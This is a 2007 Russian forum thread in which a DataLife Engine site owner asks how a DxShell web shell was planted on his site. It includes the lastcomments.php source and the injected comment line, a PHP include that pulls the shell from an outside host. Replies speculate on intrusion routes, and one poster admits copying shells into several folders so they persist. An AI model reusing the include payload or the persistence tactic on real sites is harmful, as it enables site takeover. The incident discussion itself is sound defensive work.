Помощь [help] Залили шел на сайт

Тема в разделе "DLE", создана пользователем gruppastimul, 30 дек 2007.

Информация :
Актуальная версия DataLife Engine 11.2
( Final Release v.11.2 | Скачать DataLife Engine | Скачать 11.2 demo )
Нужно ли обновляться | Как обновиться | Изменения в шаблонах
> Нет русских символов <
[Приватная тема DLE (Все подробности в ЛС к модератору раздела)]

Версии 11.1 и ниже - уязвимы!

Локализации | F.A.Q. | Внешний вид
Правила раздела | Правила форума
Обсуждение хайда карается баном!
В каждом сообщении указывайте версию DLE, которого они касаются!
Статус темы:
Закрыта.
Модераторы: killoff
  1. gruppastimul

    gruppastimul Ваш

    Регистр.:
    22 окт 2006
    Сообщения:
    802
    Симпатии:
    130
    Залили шел на сайт.
    Движок версия 6.2.
    Обноружил случайно - хотел посмотреть последнии комментарии - вместо комментов увидел шел ))


    как узнать через что могли залить шел ?
    Шел - DxShell v1.0b (by o_O Tync)
    когда и кем ))
     
  2. gruppastimul

    gruppastimul Ваш

    Регистр.:
    22 окт 2006
    Сообщения:
    802
    Симпатии:
    130
    заходил он с ip 90.151.1.189 сегодня 30/12/2007 - 13:59
    понял я это так как в системе 27 декабря был создан второй логин администратора (без e-mail - проверял по mysql)

    привожу код файла lastcomments.php
    PHP:
    <?php
    /*
    =====================================================
     DataLife Engine Nulled by M.I.D-Team
    -----------------------------------------------------
     http://www.mid-team.ws/
    -----------------------------------------------------
     Copyright (c) 2004,2007 SoftNews Media Group
    =====================================================
     Данный код защищен авторскими правами
    =====================================================
     Файл: lastcomments.php
    -----------------------------------------------------
     Назначение: вывод последних комментариев
    =====================================================
    */
    if(!defined('DATALIFEENGINE'))
    {
      die(
    "Hacking attempt!");
    }

        
    $tpl->load_template('comments.tpl');

        if (
    stristr ($tpl->copy_template"[xfvalue_")) $xfound true; else $xfound false;

        if (
    $xfound$xfields xfieldsload(true);

        
    $number intval($config['comm_nummers']);

        
    $user_query query_string(strip_tags($_SERVER['QUERY_STRING']), array("cstart""newsid""cat"));

        
    $cstart intval($_REQUEST['cstart']);
        
    $userid intval($_REQUEST['userid']);

        if (
    $cstart 0$cstart 0;

        if (
    $cstart){
           
    $cstart $cstart 1;
           
    $cstart $cstart $number;
        }

        
    $i $cstart;
        
    $s 0;

        
    $_SESSION['referrer'] = $_SERVER['REQUEST_URI'];

        
    $allow_list explode (','$user_group[$member_id['user_group']]['allow_cats']);
        
    $where = array ();

        if (
    $userid) {
            
    $where[] = PREFIX "_comments.user_id='$userid'";
        }

        if (
    $allow_list[0] != "all") {

            
    $where[] = PREFIX "_post.category regexp '[[:<:]](".implode ('|'$allow_list).")[[:>:]]'";
        }

        if (
    $config['allow_cmod']) {

            
    $where[] = PREFIX "_comments.approve='1'";

        }


        if (
    count($where)) {

        
    $where implode (" AND "$where);
        
    $where "WHERE ".$where;

        } else 
    $where "";

        
    $sql_comm "SELECT " PREFIX "_comments.id, post_id, " PREFIX "_comments.user_id, " PREFIX "_comments.date, " PREFIX "_comments.autor as gast_name, " PREFIX "_comments.email as gast_email, text, ip, is_register, name, " USERPREFIX "_users.email, news_num, " USERPREFIX "_users.comm_num, user_group, reg_date, signature, foto, fullname, land, icq, " USERPREFIX "_users.xfields as xprofile, " PREFIX "_post.title, " PREFIX "_post.date as newsdate, " PREFIX "_post.alt_name FROM " PREFIX "_comments LEFT JOIN " PREFIX "_post ON " PREFIX "_comments.post_id=" PREFIX "_post.id LEFT JOIN " USERPREFIX "_users ON " PREFIX "_comments.user_id=" USERPREFIX "_users.user_id ".$where." ORDER BY date desc LIMIT ".$cstart.",".$number;
        
    $sql_count "SELECT COUNT(*) as count FROM " PREFIX "_comments LEFT JOIN " PREFIX "_post ON " PREFIX "_comments.post_id=" PREFIX "_post.id ".$where;

        
    $sql_result $db->query($sql_comm);
        
    $row_count  $db->super_query($sql_count);

        if (!
    $db->num_rows($sql_result)) msgbox ($lang['all_info'], $lang['err_last']);

        while(
    $row $db->get_row($sql_result)){

        
    $row['date'] = strtotime($row['date']);
        
    $row['newsdate'] = strtotime($row['newsdate']);
        
    $row['gast_name'] = stripslashes($row['gast_name']);
        
    $row['gast_email'] = stripslashes($row['gast_email']);
        
    $row['name'] = stripslashes($row['name']);

        
    $i++;$s++;

        if (!
    $row['is_register'] OR $row['name'] == '') {
            if(
    $row['gast_email'] != ""){
                if( 
    preg_match("/^[\.A-z0-9_\-]+[@][A-z0-9_\-]+([.][A-z0-9_\-]+)+[A-z]{1,4}$/"$row['gast_email'])){ $url_target "";$mail_or_url "mailto:"; }
                    else{
                        
    $url_target "target=\"_blank\"";
                        
    $mail_or_url "";
                        if(
    substr($row[email],0,3) == "www"){ $mail_or_url "http://"; }
                        }

        if (
    $mail_or_url == "mailto:") {
        
    $email explode("@"$row['gast_email'], 2);
        
    $tpl->set('{author}'"<script>var em0 = '$email[0]'; document.write('<a href=\"mailto:' + em0 + '@$email[1]\">".$row['gast_name']."</a>');</script>");
        } else {
        
    $tpl->set('{author}'"<a $url_target href=\"$mail_or_url".$row[gast_email]."\">".$row['gast_name']."</a>");
        }


                        }
                        else{ 
    $tpl->set('{author}'$row['gast_name']); }
        }else
        {

        if (
    $config['allow_alt_url'] == "yes") {

            
    $go_page "href=\"".$config['http_home_url']."user/".urlencode($row['name'])."/\"";

        } else {

            
    $go_page "href=\"$PHP_SELF?subaction=userinfo&amp;user=".urlencode($row['name'])."\"";

        }

        
    $go_page "onClick=\"return dropdownmenu(this, event, UserMenu('".htmlspecialchars($go_page)."', '".$row['user_id']."', '".$member_id['user_group']."'), '170px')\" onMouseout=\"delayhidemenu()\"";

        if (
    $config['allow_alt_url'] == "yes")
        
    $tpl->set('{author}'"<a {$go_page} href=\"".$config['http_home_url']."user/".urlencode($row['name'])."/\">".$row['name']."</a>");
        else
        
    $tpl->set('{author}'"<a {$go_page} href=\"$PHP_SELF?subaction=userinfo&amp;user=".urlencode($row['name'])."\">".$row['name']."</a>");

        }

        if (
    $is_logged AND $member_id['user_group'] == '1')
        
    $tpl->set('{ip}'"IP: <a onClick=\"return dropdownmenu(this, event, IPMenu('".$row['ip']."', '".$lang['ip_info']."', '".$lang['ip_tools']."', '".$lang['ip_ban']."'), '190px')\" onMouseout=\"delayhidemenu()\" href=\"http://www.nic.ru/whois/?ip={$row['ip']}\" target=\"_blank\">{$row['ip']}</a>");
        else
        
    $tpl->set('{ip}''');


        if (
    $is_logged AND (($member_id['name'] == $row['name'] AND $row['is_register'] AND $user_group[$member_id['user_group']]['allow_editc']) OR $user_group[$member_id['user_group']]['edit_allc'])){
            
    $tpl->set('[com-edit]',"<a onClick=\"return dropdownmenu(this, event, MenuCommBuild('".$row['id']."'), '170px')\" onMouseout=\"delayhidemenu()\" href=\"".$config['http_home_url']."?do=comments&action=comm_edit&id=".$row['id']."\">");
            
    $tpl->set('[/com-edit]',"</a>");
            
    $allow_comments_ajax true;
            }
        else 
    $tpl->set_block("'\\[com-edit\\](.*?)\\[/com-edit\\]'si","");

        if (
    $is_logged AND (($member_id['name'] == $row['name'] AND $row['is_register']  AND $user_group[$member_id['user_group']]['allow_delc']) OR $member_id['user_group'] == '1' OR $user_group[$member_id['user_group']]['del_allc'])){
            
    $tpl->set('[com-del]',"<a href=\"javascript:confirmDelete('".$config['http_home_url']."?do=comments&action=comm_del&id=".$row['id']."')\">");
            
    $tpl->set('[/com-del]',"</a>");
            }
        else 
    $tpl->set_block("'\\[com-del\\](.*?)\\[/com-del\\]'si","");

        
    $tpl->set_block("'\\[fast\\](.*?)\\[/fast\\]'si","");

        
    $tpl->set('{mail}'$row['email']);
        
    $tpl->set('{date}'langdate($config['timestamp_comment'], $row['date']));
        
    $tpl->set('{comment-id}'$row_count['count']-$cstart-$s+1);


        
    // Обработка дополнительных полей
      
    if ($xfound) {
        
    $xfieldsdata xfieldsdataload ($row['xprofile']);

        foreach (
    $xfields as $value) {
          
    $preg_safe_name preg_quote($value[0], "'");

          if (
    $value[5] != OR $member_id['user_group'] == OR ($is_logged AND $row['is_register'] AND $member_id['name'] == $row['name'])) {
            if (empty(
    $xfieldsdata[$value[0]])) {
              
    $tpl->copy_template preg_replace("'\\[xfgiven_{$preg_safe_name}\\](.*?)\\[/xfgiven_{$preg_safe_name}\\]'is"""$tpl->copy_template);
            } else {
              
    $tpl->copy_template preg_replace("'\\[xfgiven_{$preg_safe_name}\\](.*?)\\[/xfgiven_{$preg_safe_name}\\]'is""\\1"$tpl->copy_template);
            }
          
    $tpl->copy_template preg_replace("'\\[xfvalue_{$preg_safe_name}\\]'i"stripslashes($xfieldsdata[$value[0]]), $tpl->copy_template);
          } else {
              
    $tpl->copy_template preg_replace("'\\[xfgiven_{$preg_safe_name}\\](.*?)\\[/xfgiven_{$preg_safe_name}\\]'is"""$tpl->copy_template);
              
    $tpl->copy_template preg_replace("'\\[xfvalue_{$preg_safe_name}\\]'i"""$tpl->copy_template);
            }
        }
      }
        
    // Обработка дополнительных полей

        
    if ($row['foto'])
        
    $tpl->set('{foto}'$config['http_home_url']."uploads/fotos/".$row['foto']);
        else
        
    $tpl->set('{foto}'"{THEME}/images/noavatar.png");

        if (
    $row['is_register'] AND $row['icq']) $tpl->set('{icq}'stripslashes($row['icq']));
        else 
    $tpl->set('{icq}''--');

        if (
    $row['is_register'] AND $row['land']) $tpl->set('{land}'stripslashes($row['land']));
        else 
    $tpl->set('{land}''--');

        if (
    $row['is_register'] AND $row['fullname']) $tpl->set('{fullname}'stripslashes($row['fullname']));
        else 
    $tpl->set('{fullname}''--');

        if (
    $row['is_register']) $tpl->set('{registration}'langdate("j.m.Y"$row['reg_date']));
        else 
    $tpl->set('{registration}''--');

        if (
    $row['is_register'] AND $row['signature']) {
        
    $tpl->set_block("'\\[signature\\](.*?)\\[/signature\\]'si","\\1");
        
    $tpl->set('{signature}'stripslashes($row['signature']));
        } else {
        
    $tpl->set_block("'\\[signature\\](.*?)\\[/signature\\]'si","");
        }

        if (!
    $row['user_group']) $row['user_group'] = 5;
        
    ##############################################
    // Moduile Rating by Age-Web Media Group
    // http://age-web.org         // http://GETDLE.Ru

    require_once (ENGINE_DIR . ('/modules/rating.class.php'));

      
    $rating = new aw_ratingusers;
      
    $rating->_img_dir '/uploads/rating/';

      
    $tpl->set('{img_rate}',$rating->build($row['comm_num'],'rating',$row['user_group']));
      
    $tpl->set('{status}',  $rating->build($row['comm_num'],'status',$row['user_group']));
      
    $tpl->set('{usgroup}'$rating->build($row['comm_num'],'group',$row['user_group']));

    ##############################################

        
    if ($user_group[$row['user_group']]['icon'])
            
    $tpl->set('{group-icon}'"<img src=\"".$user_group[$row['user_group']]['icon']."\" border=\"0\" />");
        else
            
    $tpl->set('{group-icon}'"");

        
    $tpl->set('{group-name}'$user_group[$row['user_group']]['group_name']);

        
    $tpl->set('{news-num}'intval($row['news_num']));
        
    $tpl->set('{comm-num}'intval($row['comm_num']));

        if (
    $config['allow_alt_url'] == "yes")
            
    $tpl->set('{news_title}'"<a href=\"".$config['http_home_url'].date('Y/m/d/'$row['newsdate']).$row['alt_name'].".html\">".stripslashes($row['title'])."</a>");
        else
            
    $tpl->set('{news_title}'"<a href=\"$PHP_SELF?newsid=".$row['post_id']."\">".stripslashes($row['title'])."</a>");

            
    $tpl->set('{comment}'"<div id='comm-id-".$row['id']."'>".stripslashes($row['text'])."</div>");

        if (
    $user_group[$member_id['user_group']]['allow_hide'])    $tpl->set_block("'\[hide\](.*?)\[/hide\]'si","\\1");
        else 
    $tpl->set_block("'\\[hide\\](.*?)\\[/hide\\]'si","<div class=\"quote\">".$lang['news_regus']."</div>");

            
    $tpl->compile('content');
    }

    $tpl->clear();
    $db->free($sql_result);


    //####################################################################################################################
    //         Навигация по новостям
    //####################################################################################################################

        
    $tpl->load_template('navigation.tpl');
        
    //----------------------------------
        // Previous link
        //----------------------------------
        
    if($cstart 0){
          
    $prev $cstart $number;
          
    $prev_page $PHP_SELF."?cstart=".$prev."&amp;".$user_query;
          
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<a href=\"".$prev_page."\">\\1</a>");

        }else{ 
    $tpl->set_block("'\[prev-link\](.*?)\[/prev-link\]'si""<span>\\1</span>"); $no_prev TRUE; }

        
    //----------------------------------
        // Pages
        //----------------------------------
        
    if($number){
        
    $count_all $row_count['count'];

        
    $pages_count = @ceil($count_all/$number);
        
    $pages_start_from 0;
        
    $pages "";
        
    $pages_per_section 3;
        if(
    $pages_count 10)
             {
                for(
    $j 1$j <= $pages_per_section$j++)
                  {
                   if(
    $pages_start_from != $cstart)
                       {
        
    $pages .= "<a href=\"$PHP_SELF?cstart=$j&amp;$user_query\">$j</a> ";
                         }
                           else
                              {
                              
    $pages .= " <span>$j</span> ";
                              }
                  
    $pages_start_from += $number;
                     }
                 if((((
    $cstart $number) + 1) > 1) && ((($cstart $number) + 1) < $pages_count))
                    {
                   
    $pages   .= ((($cstart $number) + 1) > ($pages_per_section 2)) ? '... ' ' ';
                   
    $page_min = ((($cstart $number) + 1) > ($pages_per_section 1)) ? ($cstart $number) : ($pages_per_section 1);
                   
    $page_max = ((($cstart $number) + 1) < ($pages_count - ($pages_per_section 1))) ? (($cstart $number) + 1) : $pages_count - ($pages_per_section 1);

                   
    $pages_start_from = ($page_min 1) * $number;

                         for(
    $j $page_min$j $page_max + ($pages_per_section 1); $j++)
                             {
                               if(
    $pages_start_from != $cstart)
                                            {

        
    $pages .= "<a href=\"$PHP_SELF?cstart=$j&amp;$user_query\">$j</a> ";
                                        }
                                        else
                                        {
                                               
    $pages .= " <span>$j</span> ";
                                        }
                                       
    $pages_start_from += $number;
                              }
                               
    $pages .= ((($cstart $number) + 1) < $pages_count - ($pages_per_section 1)) ? '... ' ' ';

                            }
                            else
                            {
                                    
    $pages .= '... ';
                            }

                            
    $pages_start_from = ($pages_count $pages_per_section) * $number;
                            for(
    $j=($pages_count - ($pages_per_section 1)); $j <= $pages_count$j++)
                            {
                                    if(
    $pages_start_from != $cstart)
                                    {

        
    $pages .= "<a href=\"$PHP_SELF?cstart=$j&amp;$user_query\">$j</a> ";
                                    }
                                    else
                                    {
                                            
    $pages .= " <span>$j</span> ";
                                    }
                                    
    $pages_start_from += $number;
                            }

                    }
                    else
                    {
                            for(
    $j=1;$j<=$pages_count;$j++)
                            {
                                    if(
    $pages_start_from != $cstart)
                                    {
        
    $pages .= "<a href=\"$PHP_SELF?cstart=$j&amp;$user_query\">$j</a> ";
                                    }
                                    else
                                    {
                                            
    $pages .= " <span>$j</span> ";
                                    }
                                    
    $pages_start_from += $number;
                            }
                    }
                    
    $tpl->set('{pages}'$pages);
            }

    //----------------------------------
    // Next link
    //----------------------------------
        
    if($number $count_all and $i $count_all){

        
    $next_page $i $number 1;
          
    $next $PHP_SELF."?cstart=".$next_page."&amp;".$user_query;
        
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<a href=\"".$next."\">\\1</a>");

        }else{
            
    $tpl->set_block("'\[next-link\](.*?)\[/next-link\]'si""<span>\\1</span>"); $no_next TRUE;
        }

    if    (!
    $no_prev or !$no_next){ $tpl->compile('content'); }
    $tpl->clear();
    ?>
     
  3. gruppastimul

    gruppastimul Ваш

    Регистр.:
    22 окт 2006
    Сообщения:
    802
    Симпатии:
    130
    шел был залит кем то в один из комментариев пользователя (знаю что не пользователь сам это сделал ибо я до этого этот коммент видел и там не было шела - да и пользователь этот не смог бы такого сделать)

    а было вставлено
    PHP:
    <? include("http://infector.nm.ru/w/dxshell.php"); ?>  

    <br> <? echo "asd"; ?>
    причем я пробовал написать коммент с таким текстом - он его не хватает как пхп а выводит как текст

    получается залили шел через базу данных ? но тогда как
     
  4. Kukovich

    Kukovich Постоялец

    Регистр.:
    22 июл 2007
    Сообщения:
    80
    Симпатии:
    4
    Хм тоже интересно..
     
  5. Yuryus

    Yuryus

    Регистр.:
    3 апр 2007
    Сообщения:
    383
    Симпатии:
    145
    Очень интересно конечно получается.
    Сам шелл грузится с другого сайта как при пхп инъекции, в то же время, инъекция могла быть произведена через БД.
    1. Бажный скрипт (поиск в багтреках и на наличие приватных сплойтов).
    2. Возможно какой то сервисный скрипт для бэкапа и т.д (внимательно смотрим на перминины папок, куда вероятно можно что то залить и соответственно на скрипты, которые могут что то заливать и сохранять).
    3. Дырявый хостер (можно было конечно через шелл взглянуть на окружение с корня сервера, насколько криво может быть настроен сервак).

    P.S. Уж больно честно выглядит айпишник, для такого фронта работ. Маловероятно, что чел без прокси создавал админа или же вариант вплоть до подмены лога.
    Посмотри лог своих заходов в админку.
    Можно конечно рассмотреть вариант увода кукисов с помощью XSS или увода троем паса на админку.
     
  6. gruppastimul

    gruppastimul Ваш

    Регистр.:
    22 окт 2006
    Сообщения:
    802
    Симпатии:
    130
    увод паса админа и вставка в базу данных как то не состыковыватся
     
  7. to0x

    to0x V.I.P.

    Регистр.:
    9 апр 2006
    Сообщения:
    685
    Симпатии:
    740
    а может взломали хостера, а как копию шэла к тебе в папочку положили. я например тоже так делаю, на один залью, а на 3 других копий наделаю, чтоб жил дольше, а когда заливаешь то совсем плевать ДЛЕ это или нет, главное чтоб папки с правами подходящими были.
     
  8. gruppastimul

    gruppastimul Ваш

    Регистр.:
    22 окт 2006
    Сообщения:
    802
    Симпатии:
    130
    нее шел останавливается на моей дирректории на список других сайтов не переходит
     
Статус темы:
Закрыта.